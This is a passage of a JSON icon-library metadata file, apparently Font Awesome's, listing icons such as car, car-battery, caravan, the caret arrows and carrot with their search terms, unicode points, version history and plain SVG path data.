        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 144c0-26.5 21.5-48 48-48s48 21.5 48 48V256H64V144zM0 144V368c0 61.9 50.1 112 112 112s112-50.1 112-112V189.6c1.8 19.1 8.2 38 19.8 54.8L372.3 431.7c35.5 51.7 105.3 64.3 156 28.1s63-107.5 27.5-159.2L427.3 113.3C391.8 61.5 321.9 49 271.3 85.2c-28 20-44.3 50.8-47.3 83V144c0-61.9-50.1-112-112-112S0 82.1 0 144zm296.6 64.2c-16-23.3-10-55.3 11.9-71c21.2-15.1 50.5-10.3 66 12.2l67 97.6L361.6 303l-65-94.8zM491 407.7c-.8 .6-1.6 1.1-2.4 1.6l4-2.8c-.5 .4-1 .8-1.6 1.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 144c0-26.5 21.5-48 48-48s48 21.5 48 48V256H64V144zM0 144V368c0 61.9 50.1 112 112 112s112-50.1 112-112V189.6c1.8 19.1 8.2 38 19.8 54.8L372.3 431.7c35.5 51.7 105.3 64.3 156 28.1s63-107.5 27.5-159.2L427.3 113.3C391.8 61.5 321.9 49 271.3 85.2c-28 20-44.3 50.8-47.3 83V144c0-61.9-50.1-112-112-112S0 82.1 0 144zm296.6 64.2c-16-23.3-10-55.3 11.9-71c21.2-15.1 50.5-10.3 66 12.2l67 97.6L361.6 303l-65-94.8zM491 407.7c-.8 .6-1.6 1.1-2.4 1.6l4-2.8c-.5 .4-1 .8-1.6 1.2z"
      }
    },
    "free": ["solid"]
  },
  "car": {
    "aliases": {
      "names": ["automobile"],
      "unicodes": {
        "composite": ["1f698"],
        "secondary": ["10f1b9"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "auto",
        "automobile",
        "car",
        "oncoming",
        "oncoming automobile",
        "sedan",
        "transportation",
        "travel",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1b9",
    "label": "Car",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M135.2 117.4L109.1 192H402.9l-26.1-74.6C372.3 104.6 360.2 96 346.6 96H165.4c-13.6 0-25.7 8.6-30.2 21.4zM39.6 196.8L74.8 96.3C88.3 57.8 124.6 32 165.4 32H346.6c40.8 0 77.1 25.8 90.6 64.3l35.2 100.5c23.2 9.6 39.6 32.5 39.6 59.2V400v48c0 17.7-14.3 32-32 32H448c-17.7 0-32-14.3-32-32V400H96v48c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V400 256c0-26.7 16.4-49.6 39.6-59.2zM128 288a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm288 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M135.2 117.4L109.1 192H402.9l-26.1-74.6C372.3 104.6 360.2 96 346.6 96H165.4c-13.6 0-25.7 8.6-30.2 21.4zM39.6 196.8L74.8 96.3C88.3 57.8 124.6 32 165.4 32H346.6c40.8 0 77.1 25.8 90.6 64.3l35.2 100.5c23.2 9.6 39.6 32.5 39.6 59.2V400v48c0 17.7-14.3 32-32 32H448c-17.7 0-32-14.3-32-32V400H96v48c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V400 256c0-26.7 16.4-49.6 39.6-59.2zM128 288a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm288 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "car-battery": {
    "aliases": {
      "names": ["battery-car"],
      "unicodes": {
        "secondary": ["10f5df"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["auto", "electric", "mechanic", "power"]
    },
    "styles": ["solid"],
    "unicode": "f5df",
    "label": "Car Battery",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M80 96c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32l96 0c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32h16c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V160c0-35.3 28.7-64 64-64l16 0zm304 96c0-8.8-7.2-16-16-16s-16 7.2-16 16v32H320c-8.8 0-16 7.2-16 16s7.2 16 16 16h32v32c0 8.8 7.2 16 16 16s16-7.2 16-16V256h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H384V192zM80 240c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16s-7.2-16-16-16H96c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M80 96c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32l96 0c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32h16c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V160c0-35.3 28.7-64 64-64l16 0zm304 96c0-8.8-7.2-16-16-16s-16 7.2-16 16v32H320c-8.8 0-16 7.2-16 16s7.2 16 16 16h32v32c0 8.8 7.2 16 16 16s16-7.2 16-16V256h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H384V192zM80 240c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16s-7.2-16-16-16H96c-8.8 0-16 7.2-16 16z"
      }
    },
    "free": ["solid"]
  },
  "car-burst": {
    "aliases": {
      "names": ["car-crash"],
      "unicodes": {
        "secondary": ["10f5e1"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "accident",
        "auto",
        "automobile",
        "insurance",
        "sedan",
        "transportation",
        "vehicle",
        "wreck"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5e1",
    "label": "Car Burst",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M176 8c-6.6 0-12.4 4-14.9 10.1l-29.4 74L55.6 68.9c-6.3-1.9-13.1 .2-17.2 5.3s-4.6 12.2-1.4 17.9l39.5 69.1L10.9 206.4c-5.4 3.7-8 10.3-6.5 16.7s6.7 11.2 13.1 12.2l78.7 12.2L90.6 327c-.5 6.5 3.1 12.7 9 15.5s12.9 1.8 17.8-2.6l35.3-32.5 9.5-35.4 10.4-38.6c8-29.9 30.5-52.1 57.9-60.9l41-59.2c11.3-16.3 26.4-28.9 43.5-37.2c-.4-.6-.8-1.2-1.3-1.8c-4.1-5.1-10.9-7.2-17.2-5.3L220.3 92.1l-29.4-74C188.4 12 182.6 8 176 8zM367.7 161.5l135.6 36.3c6.5 1.8 11.3 7.4 11.8 14.2l4.6 56.5-201.5-54 32.2-46.6c3.8-5.6 10.8-8.1 17.3-6.4zm-69.9-30l-47.9 69.3c-21.6 3-40.3 18.6-46.3 41l-10.4 38.6-16.6 61.8-8.3 30.9c-4.6 17.1 5.6 34.6 22.6 39.2l15.5 4.1c17.1 4.6 34.6-5.6 39.2-22.6l8.3-30.9 247.3 66.3-8.3 30.9c-4.6 17.1 5.6 34.6 22.6 39.2l15.5 4.1c17.1 4.6 34.6-5.6 39.2-22.6l8.3-30.9L595 388l10.4-38.6c6-22.4-2.5-45.2-19.6-58.7l-6.8-84c-2.7-33.7-26.4-62-59-70.8L384.2 99.7c-32.7-8.8-67.3 4-86.5 31.8zm-17 131a24 24 0 1 1 -12.4 46.4 24 24 0 1 1 12.4-46.4zm217.9 83.2A24 24 0 1 1 545 358.1a24 24 0 1 1 -46.4-12.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M176 8c-6.6 0-12.4 4-14.9 10.1l-29.4 74L55.6 68.9c-6.3-1.9-13.1 .2-17.2 5.3s-4.6 12.2-1.4 17.9l39.5 69.1L10.9 206.4c-5.4 3.7-8 10.3-6.5 16.7s6.7 11.2 13.1 12.2l78.7 12.2L90.6 327c-.5 6.5 3.1 12.7 9 15.5s12.9 1.8 17.8-2.6l35.3-32.5 9.5-35.4 10.4-38.6c8-29.9 30.5-52.1 57.9-60.9l41-59.2c11.3-16.3 26.4-28.9 43.5-37.2c-.4-.6-.8-1.2-1.3-1.8c-4.1-5.1-10.9-7.2-17.2-5.3L220.3 92.1l-29.4-74C188.4 12 182.6 8 176 8zM367.7 161.5l135.6 36.3c6.5 1.8 11.3 7.4 11.8 14.2l4.6 56.5-201.5-54 32.2-46.6c3.8-5.6 10.8-8.1 17.3-6.4zm-69.9-30l-47.9 69.3c-21.6 3-40.3 18.6-46.3 41l-10.4 38.6-16.6 61.8-8.3 30.9c-4.6 17.1 5.6 34.6 22.6 39.2l15.5 4.1c17.1 4.6 34.6-5.6 39.2-22.6l8.3-30.9 247.3 66.3-8.3 30.9c-4.6 17.1 5.6 34.6 22.6 39.2l15.5 4.1c17.1 4.6 34.6-5.6 39.2-22.6l8.3-30.9L595 388l10.4-38.6c6-22.4-2.5-45.2-19.6-58.7l-6.8-84c-2.7-33.7-26.4-62-59-70.8L384.2 99.7c-32.7-8.8-67.3 4-86.5 31.8zm-17 131a24 24 0 1 1 -12.4 46.4 24 24 0 1 1 12.4-46.4zm217.9 83.2A24 24 0 1 1 545 358.1a24 24 0 1 1 -46.4-12.4z"
      }
    },
    "free": ["solid"]
  },
  "car-on": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["alarm", "car", "carjack", "warning"]
    },
    "styles": ["solid"],
    "unicode": "e4dd",
    "label": "Car On",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M280 24c0-13.3-10.7-24-24-24s-24 10.7-24 24v80c0 13.3 10.7 24 24 24s24-10.7 24-24V24zM185.8 224H326.2c6.8 0 12.8 4.3 15.1 10.6L360.3 288H151.7l19.1-53.4c2.3-6.4 8.3-10.6 15.1-10.6zm-75.3-10.9L82.2 292.4C62.1 300.9 48 320.8 48 344v40 64 32c0 17.7 14.3 32 32 32H96c17.7 0 32-14.3 32-32V448H384v32c0 17.7 14.3 32 32 32h16c17.7 0 32-14.3 32-32V448 384 344c0-23.2-14.1-43.1-34.2-51.6l-28.3-79.3C390.1 181.3 360 160 326.2 160H185.8c-33.8 0-64 21.3-75.3 53.1zM128 344a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm232 24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM39 39c-9.4 9.4-9.4 24.6 0 33.9l48 48c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L73 39c-9.4-9.4-24.6-9.4-33.9 0zm400 0L391 87c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l48-48c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M280 24c0-13.3-10.7-24-24-24s-24 10.7-24 24v80c0 13.3 10.7 24 24 24s24-10.7 24-24V24zM185.8 224H326.2c6.8 0 12.8 4.3 15.1 10.6L360.3 288H151.7l19.1-53.4c2.3-6.4 8.3-10.6 15.1-10.6zm-75.3-10.9L82.2 292.4C62.1 300.9 48 320.8 48 344v40 64 32c0 17.7 14.3 32 32 32H96c17.7 0 32-14.3 32-32V448H384v32c0 17.7 14.3 32 32 32h16c17.7 0 32-14.3 32-32V448 384 344c0-23.2-14.1-43.1-34.2-51.6l-28.3-79.3C390.1 181.3 360 160 326.2 160H185.8c-33.8 0-64 21.3-75.3 53.1zM128 344a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm232 24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM39 39c-9.4 9.4-9.4 24.6 0 33.9l48 48c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L73 39c-9.4-9.4-24.6-9.4-33.9 0zm400 0L391 87c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l48-48c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0z"
      }
    },
    "free": ["solid"]
  },
  "car-rear": {
    "aliases": {
      "names": ["car-alt"],
      "unicodes": {
        "secondary": ["10f5de"]
      }
    },
    "changes": [
      "5.2.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "auto",
        "automobile",
        "sedan",
        "transportation",
        "travel",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5de",
    "label": "Car Rear",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M165.4 96H346.6c13.6 0 25.7 8.6 30.2 21.4L402.9 192H109.1l26.1-74.6c4.5-12.8 16.6-21.4 30.2-21.4zm-90.6 .3L39.6 196.8C16.4 206.4 0 229.3 0 256v80c0 23.7 12.9 44.4 32 55.4V448c0 17.7 14.3 32 32 32H96c17.7 0 32-14.3 32-32V400H384v48c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V391.4c19.1-11.1 32-31.7 32-55.4V256c0-26.7-16.4-49.6-39.6-59.2L437.2 96.3C423.7 57.8 387.4 32 346.6 32H165.4c-40.8 0-77.1 25.8-90.6 64.3zM208 272h96c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H208c-8.8 0-16-7.2-16-16V288c0-8.8 7.2-16 16-16zM48 280c0-13.3 10.7-24 24-24h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H72c-13.3 0-24-10.7-24-24zm360-24h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H408c-13.3 0-24-10.7-24-24s10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M165.4 96H346.6c13.6 0 25.7 8.6 30.2 21.4L402.9 192H109.1l26.1-74.6c4.5-12.8 16.6-21.4 30.2-21.4zm-90.6 .3L39.6 196.8C16.4 206.4 0 229.3 0 256v80c0 23.7 12.9 44.4 32 55.4V448c0 17.7 14.3 32 32 32H96c17.7 0 32-14.3 32-32V400H384v48c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V391.4c19.1-11.1 32-31.7 32-55.4V256c0-26.7-16.4-49.6-39.6-59.2L437.2 96.3C423.7 57.8 387.4 32 346.6 32H165.4c-40.8 0-77.1 25.8-90.6 64.3zM208 272h96c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H208c-8.8 0-16-7.2-16-16V288c0-8.8 7.2-16 16-16zM48 280c0-13.3 10.7-24 24-24h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H72c-13.3 0-24-10.7-24-24zm360-24h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H408c-13.3 0-24-10.7-24-24s10.7-24 24-24z"
      }
    },
    "free": ["solid"]
  },
  "car-side": {
    "aliases": {
      "unicodes": {
        "composite": ["1f697"],
        "secondary": ["10f5e4"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "auto",
        "automobile",
        "car",
        "sedan",
        "transportation",
        "travel",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5e4",
    "label": "Car Side",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M171.3 96H224v96H111.3l30.4-75.9C146.5 104 158.2 96 171.3 96zM272 192V96h81.2c9.7 0 18.9 4.4 25 12l67.2 84H272zm256.2 1L428.2 68c-18.2-22.8-45.8-36-75-36H171.3c-39.3 0-74.6 23.9-89.1 60.3L40.6 196.4C16.8 205.8 0 228.9 0 256V368c0 17.7 14.3 32 32 32H65.3c7.6 45.4 47.1 80 94.7 80s87.1-34.6 94.7-80H385.3c7.6 45.4 47.1 80 94.7 80s87.1-34.6 94.7-80H608c17.7 0 32-14.3 32-32V320c0-65.2-48.8-119-111.8-127zM434.7 368a48 48 0 1 1 90.5 32 48 48 0 1 1 -90.5-32zM160 336a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M171.3 96H224v96H111.3l30.4-75.9C146.5 104 158.2 96 171.3 96zM272 192V96h81.2c9.7 0 18.9 4.4 25 12l67.2 84H272zm256.2 1L428.2 68c-18.2-22.8-45.8-36-75-36H171.3c-39.3 0-74.6 23.9-89.1 60.3L40.6 196.4C16.8 205.8 0 228.9 0 256V368c0 17.7 14.3 32 32 32H65.3c7.6 45.4 47.1 80 94.7 80s87.1-34.6 94.7-80H385.3c7.6 45.4 47.1 80 94.7 80s87.1-34.6 94.7-80H608c17.7 0 32-14.3 32-32V320c0-65.2-48.8-119-111.8-127zM434.7 368a48 48 0 1 1 90.5 32 48 48 0 1 1 -90.5-32zM160 336a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "car-tunnel": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["road", "tunnel"]
    },
    "styles": ["solid"],
    "unicode": "e4de",
    "label": "Car Tunnel",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0C114.6 0 0 114.6 0 256V448c0 35.3 28.7 64 64 64h42.8c-6.6-5.9-10.8-14.4-10.8-24V376c0-20.8 11.3-38.9 28.1-48.6l21-64.7c7.5-23.1 29-38.7 53.3-38.7H313.6c24.3 0 45.8 15.6 53.3 38.7l21 64.7c16.8 9.7 28.2 27.8 28.2 48.6V488c0 9.6-4.2 18.1-10.8 24H448c35.3 0 64-28.7 64-64V256C512 114.6 397.4 0 256 0zM362.8 512c-6.6-5.9-10.8-14.4-10.8-24V448H160v40c0 9.6-4.2 18.1-10.8 24H362.8zM190.8 277.5L177 320H335l-13.8-42.5c-1.1-3.3-4.1-5.5-7.6-5.5H198.4c-3.5 0-6.5 2.2-7.6 5.5zM168 408a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm200-24a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0C114.6 0 0 114.6 0 256V448c0 35.3 28.7 64 64 64h42.8c-6.6-5.9-10.8-14.4-10.8-24V376c0-20.8 11.3-38.9 28.1-48.6l21-64.7c7.5-23.1 29-38.7 53.3-38.7H313.6c24.3 0 45.8 15.6 53.3 38.7l21 64.7c16.8 9.7 28.2 27.8 28.2 48.6V488c0 9.6-4.2 18.1-10.8 24H448c35.3 0 64-28.7 64-64V256C512 114.6 397.4 0 256 0zM362.8 512c-6.6-5.9-10.8-14.4-10.8-24V448H160v40c0 9.6-4.2 18.1-10.8 24H362.8zM190.8 277.5L177 320H335l-13.8-42.5c-1.1-3.3-4.1-5.5-7.6-5.5H198.4c-3.5 0-6.5 2.2-7.6 5.5zM168 408a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm200-24a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z"
      }
    },
    "free": ["solid"]
  },
  "caravan": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f8ff"]
      }
    },
    "changes": [
      "5.12.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["camper", "motor home", "rv", "trailer", "travel"]
    },
    "styles": ["solid"],
    "unicode": "f8ff",
    "label": "Caravan",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 112C0 67.8 35.8 32 80 32H416c88.4 0 160 71.6 160 160V352h32c17.7 0 32 14.3 32 32s-14.3 32-32 32l-32 0H288c0 53-43 96-96 96s-96-43-96-96H80c-44.2 0-80-35.8-80-80V112zM320 352H448V256H416c-8.8 0-16-7.2-16-16s7.2-16 16-16h32V160c0-17.7-14.3-32-32-32H352c-17.7 0-32 14.3-32 32V352zM96 128c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H224c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H96zm96 336a48 48 0 1 0 0-96 48 48 0 1 0 0 96z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 112C0 67.8 35.8 32 80 32H416c88.4 0 160 71.6 160 160V352h32c17.7 0 32 14.3 32 32s-14.3 32-32 32l-32 0H288c0 53-43 96-96 96s-96-43-96-96H80c-44.2 0-80-35.8-80-80V112zM320 352H448V256H416c-8.8 0-16-7.2-16-16s7.2-16 16-16h32V160c0-17.7-14.3-32-32-32H352c-17.7 0-32 14.3-32 32V352zM96 128c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H224c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H96zm96 336a48 48 0 1 0 0-96 48 48 0 1 0 0 96z"
      }
    },
    "free": ["solid"]
  },
  "caret-down": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0d7"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "dropdown", "expand", "menu", "more", "triangle"]
    },
    "styles": ["solid"],
    "unicode": "f0d7",
    "label": "Caret Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M137.4 374.6c12.5 12.5 32.8 12.5 45.3 0l128-128c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8L32 192c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9l128 128z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M137.4 374.6c12.5 12.5 32.8 12.5 45.3 0l128-128c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8L32 192c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9l128 128z"
      }
    },
    "free": ["solid"]
  },
  "caret-left": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0d9"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "back", "previous", "triangle"]
    },
    "styles": ["solid"],
    "unicode": "f0d9",
    "label": "Caret Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M9.4 278.6c-12.5-12.5-12.5-32.8 0-45.3l128-128c9.2-9.2 22.9-11.9 34.9-6.9s19.8 16.6 19.8 29.6l0 256c0 12.9-7.8 24.6-19.8 29.6s-25.7 2.2-34.9-6.9l-128-128z\"/></svg>",
        "viewBox": [0, 0, 256, 512],
        "width": 256,
        "height": 512,
        "path": "M9.4 278.6c-12.5-12.5-12.5-32.8 0-45.3l128-128c9.2-9.2 22.9-11.9 34.9-6.9s19.8 16.6 19.8 29.6l0 256c0 12.9-7.8 24.6-19.8 29.6s-25.7 2.2-34.9-6.9l-128-128z"
      }
    },
    "free": ["solid"]
  },
  "caret-right": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0da"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "forward", "next", "triangle"]
    },
    "styles": ["solid"],
    "unicode": "f0da",
    "label": "Caret Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M246.6 278.6c12.5-12.5 12.5-32.8 0-45.3l-128-128c-9.2-9.2-22.9-11.9-34.9-6.9s-19.8 16.6-19.8 29.6l0 256c0 12.9 7.8 24.6 19.8 29.6s25.7 2.2 34.9-6.9l128-128z\"/></svg>",
        "viewBox": [0, 0, 256, 512],
        "width": 256,
        "height": 512,
        "path": "M246.6 278.6c12.5-12.5 12.5-32.8 0-45.3l-128-128c-9.2-9.2-22.9-11.9-34.9-6.9s-19.8 16.6-19.8 29.6l0 256c0 12.9 7.8 24.6 19.8 29.6s25.7 2.2 34.9-6.9l128-128z"
      }
    },
    "free": ["solid"]
  },
  "caret-up": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0d8"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "collapse", "triangle"]
    },
    "styles": ["solid"],
    "unicode": "f0d8",
    "label": "Caret Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M182.6 137.4c-12.5-12.5-32.8-12.5-45.3 0l-128 128c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8H288c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-128-128z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M182.6 137.4c-12.5-12.5-32.8-12.5-45.3 0l-128 128c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8H288c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-128-128z"
      }
    },
    "free": ["solid"]
  },
  "carrot": {
    "aliases": {
      "unicodes": {
        "composite": ["1f955"],
        "secondary": ["10f787"]
      }
    },
    "changes": ["5.6.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bugs bunny", "carrot", "food", "orange", "vegan", "vegetable"]
    },
    "styles": ["solid"],
    "unicode": "f787",
    "label": "Carrot",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767418,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M346.7 6C337.6 17 320 42.3 320 72c0 40 15.3 55.3 40 80s40 40 80 40c29.7 0 55-17.6 66-26.7c4-3.3 6-8.2 6-13.3s-2-10-6-13.2c-11.4-9.1-38.3-26.8-74-26.8c-32 0-40 8-40 8s8-8 8-40c0-35.7-17.7-62.6-26.8-74C370 2 365.1 0 360 0s-10 2-13.3 6zM244.6 136c-40 0-77.1 18.1-101.7 48.2l60.5 60.5c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-55.3-55.3 0 .1L2.2 477.9C-2 487-.1 497.8 7 505s17.9 9 27.1 4.8l134.7-62.4-52.1-52.1c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L199.7 433l100.2-46.4c46.4-21.5 76.2-68 76.2-119.2C376 194.8 317.2 136 244.6 136z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M346.7 6C337.6 17 320 42.3 320 72c0 40 15.3 55.3 40 80s40 40 80 40c29.7 0 55-17.6 66-26.7c4-3.3 6-8.2 6-13.3s-2-10-6-13.2c-11.4-9.1-38.3-26.8-74-26.8c-32 0-40 8-40 8s8-8 8-40c0-35.7-17.7-62.6-26.8-74C370 2 365.1 0 360 0s-10 2-13.3 6zM244.6 136c-40 0-77.1 18.1-101.7 48.2l60.5 60.5c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-55.3-55.3 0 .1L2.2 477.9C-2 487-.1 497.8 7 505s17.9 9 27.1 4.8l134.7-62.4-52.1-52.1c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L199.7 433l100.2-46.4c46.4-21.5 76.2-68 76.2-119.2C376 194.8 317.2 136 244.6 136z"
      }
    },
    "free": ["solid"]
  },
  "cart-arrow-down": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f218"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
